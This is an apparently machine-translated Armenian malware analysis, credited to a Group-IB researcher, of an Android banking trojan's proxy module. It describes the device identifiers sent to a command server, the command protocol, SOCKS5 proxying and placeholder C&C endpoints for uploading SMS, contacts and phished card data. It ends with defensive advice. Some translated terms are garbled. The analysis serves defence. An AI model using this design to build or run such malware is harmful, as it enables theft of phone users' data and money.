Ծառայության մեկնարկի քայլերը.
1. Գործարկում է ժամաչափ, որը կրակում է րոպեն մեկ և ստուգում վստահված անձի մոդուլի գործունեությունը: Եթե մոդուլը ակտիվ չէ, այն սկսում է այն:
Նաև, երբ իրադարձությունը տեղի է ունենում android.net.conn.CONNECTIVITY_CHANGE վստահված անձի մոդուլը գործարկված է:
2. Հավելվածը ստեղծում է wake-lock պարամետրով PARTIAL_WAKE_LOCK և գրավում է նրան։ Այսպիսով, այն թույլ չի տալիս սարքի պրոցեսորին անցնել քնի ռեժիմի։
3. Գործարկում է վստահված անձի մոդուլի հրամանների մշակման դասը՝ նախ գրանցելով տողը mainlog («մեկնարկային սերվեր») и
Սերվեր::start() հոսթ[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
որտեղ proxy_cnc, command_port և proxy_port – պրոքսի սերվերի կոնֆիգուրացիայից ստացված պարամետրեր:
Հրամանների մշակման դասը կոչվում է CommandConnection. Գործարկումից անմիջապես հետո այն կատարում է հետևյալ գործողությունները.
4. Միանում է ProxyConfigClass.host: ProxyConfigClass.commandPort և այնտեղ JSON ձևաչափով տվյալներ է ուղարկում վարակված սարքի մասին.
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
Որտեղ
- id - նույնացուցիչ, որը փորձում է «x» անունով Shared Preference ֆայլից ստանալ արժեք «id» դաշտով: Եթե այս արժեքը հնարավոր չէ ձեռք բերել, այն առաջացնում է նորը: Այսպիսով, վստահված անձի մոդուլն ունի իր նույնացուցիչը, որը ստեղծվում է Bot ID-ի նման:
- imei - սարքի IMEI: Եթե արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
- imsi - Սարքի միջազգային բջջային բաժանորդի ինքնությունը: Եթե արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
- մոդել - Վերջնական արտադրանքի վերջնական օգտագործողի համար տեսանելի անվանումը:
- արտադրող - Արտադրանքի/ապարատների արտադրողը (Build.MANUFACTURER):
- androidVersion-ը տող է «<%release_version%> (<%os_version%>),<%sdk_version%>» ձևաչափով:
- երկիրը սարքի ներկայիս գտնվելու վայրն է:
- partnerId-ը դատարկ տող է:
- packageName - փաթեթի անունը.
- networkType - ընթացիկ ցանցային կապի տեսակը (օրինակ՝ «WIFI», «MOBILE»): Սխալի դեպքում վերադարձնում է զրոյական արժեք:
- hasGsmSupport - true - եթե հեռախոսն աջակցում է GSM, հակառակ դեպքում կեղծ է:
- simReady - SIM քարտի կարգավիճակ:
- simCountry - երկրի ISO կոդը (հիմնված SIM քարտի մատակարարի վրա):
- networkOperator - օպերատորի անվանումը: Եթե արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
- simOperator - Ծառայությունների մատակարարի անունը (SPN): Եթե արժեքը ստանալու ժամանակ սխալ է տեղի ունեցել, այս դաշտի փոխարեն սխալի տեքստային հաղորդագրություն կգրվի:
- տարբերակ - այս դաշտը պահվում է config դասում, բոտի ուսումնասիրված տարբերակների համար այն հավասար էր «1.6»:
5. Անցում է սերվերից հրամաններ սպասելու ռեժիմին: Սերվերի հրամանները գալիս են հետևյալ ձևաչափով.
- 0 օֆսեթ-հրաման
- 1 օֆսեթ-սեսիաId
- 2 օֆսեթ-երկարություն
- 4 օֆսեթ-տվյալներ
Երբ հրաման է ստացվում, հավելվածը գրանցվում է.
mainLog ("Header { sessionId<%id%>], type[<%command%>], երկարություն[<%length%>] }")
Սերվերից հնարավոր են հետևյալ հրամանները.
Անուն | Հրաման | Ամսաթիվ | Նկարագրություն |
---|---|---|---|
կապի ID | 0 | Միացման ID | Ստեղծեք նոր կապ |
ՔԱՂԱՔ | 3 | ժամանակ | Կասեցրեք վստահված անձի մոդուլը |
ՍԵՂԱՆԻ ԹԵՆԻՍ | 4 | - | Ուղարկեք PONG հաղորդագրություն |
PONG հաղորդագրությունը բաղկացած է 4 բայթից և ունի հետևյալ տեսքը. 0x04000000.
Երբ ConnectId հրաման է ստացվում (նոր կապ ստեղծելու համար) CommandConnection ստեղծում է դասի օրինակ ProxyConnection.
- Պրոքսիինգին մասնակցում է երկու դասարան. ProxyConnection и վերջ. Դաս ստեղծելիս ProxyConnection հասցեին միացում է կատարվում ProxyConfigClass.host: ProxyConfigClass.proxyPort և փոխանցելով JSON օբյեկտ.
{
"id":<%connectionId%>
}
Ի պատասխան՝ սերվերը ուղարկում է SOCKS5 հաղորդագրություն, որը պարունակում է հեռավոր սերվերի հասցեն, որի հետ կապը պետք է հաստատվի: Այս սերվերի հետ փոխազդեցությունը տեղի է ունենում դասի միջոցով վերջ. Սխեմատիկորեն, կապի կարգավորումը կարող է ներկայացվել հետևյալ կերպ.
Ցանցային փոխազդեցություններ
Որպեսզի ցանցային սնիֆերները վերլուծեն տրաֆիկը, CnC սերվերի և հավելվածի միջև փոխազդեցությունը կարող է ապահովվել SSL արձանագրության միջոցով: Ինչպես սերվերից, այնպես էլ սերվերին փոխանցված բոլոր տվյալները JSON ձևաչափով են: Գործարկման ընթացքում հավելվածը կատարում է հետևյալ հարցումները.
- http://<%CnC%>/api/v1/set_state.php հրամանի կատարման արդյունքն է։
- http://<%CnC%>/api/v1/get.php - հրաման ստանալը.
- http://<%CnC%>/api/v1/load_sms.php — ներբեռնել SMS հաղորդագրություններ վարակված սարքից:
- http://<%CnC%>/api/v1/load_ab.php — վարակված սարքից կոնտակտների ցանկի վերբեռնում:
- http://<%CnC%>/api/v1/aevents.php – հարցումը կատարվում է նախապատվության ֆայլի պարամետրերը թարմացնելիս:
- http://<%CnC%>/api/v1/set_card.php - վերբեռնել տվյալները, որոնք ստացվել են ֆիշինգի պատուհանի միջոցով, որը դիմակավորված է որպես Google Play շուկա:
- http://<%CnC%>/api/v1/logs.php - տեղեկամատյանների տվյալների բեռնաթափում:
- http://<%CnC%>/api/v1/records.php - ֆիշինգի պատուհանների միջոցով ստացված տվյալների վերբեռնում:
- http://<%CnC%>/api/v1/set_error.php - սխալի մասին ծանուցում:
Առաջարկություններ
Իրենց հաճախորդներին բջջային տրոյանների վտանգից պաշտպանելու համար ընկերությունները պետք է օգտագործեն համապարփակ լուծումներ, որոնք թույլ են տալիս, առանց օգտատերերի սարքերում լրացուցիչ ծրագրեր տեղադրել, վերահսկել և կանխել վնասակար գործողությունները:
Դա անելու համար շարժական տրոյանների հայտնաբերման ստորագրության վրա հիմնված մեթոդները պետք է ընդլայնվեն ինչպես հաճախորդի, այնպես էլ հենց հավելվածի վարքագիծը վերլուծելու տեխնոլոգիաներով: Նաև պաշտպանությունը պետք է ներառի թվային մատնահետքերի տեխնոլոգիայի օգտագործմամբ սարքերի նույնականացման գործառույթը, ինչը հնարավորություն կտա հասկանալ, թե երբ հաշիվն օգտագործվում է ոչ տիպիկ սարքից և արդեն հայտնվել է խարդախի ձեռքում:
Սկզբունքորեն կարևոր կետ է միջալիքային վերլուծության հնարավորությունը, որը թույլ է տալիս ընկերություններին վերահսկել ռիսկերը, որոնք առաջանում են ոչ միայն ինտերնետի, այլև բջջային կապուղու կողմից, օրինակ՝ մոբայլ բանկինգի հավելվածներում, կրիպտոարժույթներով գործարքների համար։ և ցանկացած այլ, որտեղ դա հնարավոր է իրականացնել.ֆինանսական գործարք.
Անվտանգության կանոններ օգտագործողների համար.
- Android ՕՀ-ով բջջային սարքի համար հավելվածներ մի տեղադրեք Google Play-ից բացի այլ աղբյուրներից, հատուկ ուշադրություն դարձրեք հավելվածի կողմից պահանջվող իրավունքներին.
- պարբերաբար տեղադրել Android OS-ի թարմացումները;
- ուշադրություն դարձրեք բեռնված ֆայլերի ընդարձակմանը.
- մի այցելեք կասկածելի ռեսուրսներ.
- Մի սեղմեք SMS հաղորդագրություններում ստացված հղումների վրա:
Գլխավոր դերում Սեմյոն Ռոգաչով, Associate Malicious Code Researcher, Group-IB Computer Forensics Lab.
Source: www.habr.com